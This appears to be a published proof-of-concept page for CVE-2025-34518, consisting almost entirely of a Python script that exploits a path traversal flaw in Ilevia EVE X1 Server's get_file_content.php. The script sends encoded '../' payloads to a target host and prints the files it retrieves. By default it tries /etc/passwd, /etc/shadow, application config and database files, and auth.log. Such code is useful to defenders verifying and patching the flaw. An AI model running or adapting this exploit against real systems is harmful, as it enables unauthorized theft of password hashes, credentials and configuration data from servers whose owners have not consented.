CVE-2025-34518：Ilevia EVE X1 Server路径遍历漏洞

#!/usr/bin/env python3 """ CVE-2025-34518 - Ilevia EVE X1 Server Relative Path Traversal PoC Vulnerability: Arbitrary file read via path traversal in get_file_content.php """ import requests import sys from urllib.parse import quote TARGET_HOST = "http://TARGET_IP:8080" VULNERABLE_ENDPOINT = "/get_file_content.php" def exploit_path_traversal(target_file): """ Exploit the relative path traversal vulnerability to read arbitrary files. """ # Construct the traversal payload traversal_payload = "../../../../../../../../../../" + target_file encoded_payload = quote(traversal_payload) url = f"{TARGET_HOST}{VULNERABLE_ENDPOINT}?file={encoded_payload}" print(f"[*] Target: {TARGET_HOST}") print(f"[*] Attempting to read: {target_file}") print(f"[*] Request URL: {url}") try: response = requests.get(url, timeout=10) if response.status_code == 200 and response.text: print(f"[+] Success! File content retrieved (HTTP {response.status_code}):") print("-" * 60) print(response.text) print("-" * 60) return response.text else: print(f"[-] Failed. HTTP Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): print("=" * 60) print("CVE-2025-34518 - Ilevia EVE X1 Server Path Traversal PoC") print("=" * 60) # Common sensitive files to target target_files = [ "etc/passwd", "etc/shadow", "config/config.php", "config/database.php", "var/log/auth.log" ] if len(sys.argv) > 1: target_files = [sys.argv[1]] for target_file in target_files: result = exploit_path_traversal(target_file) if result: break print() if __name__ == "__main__": main()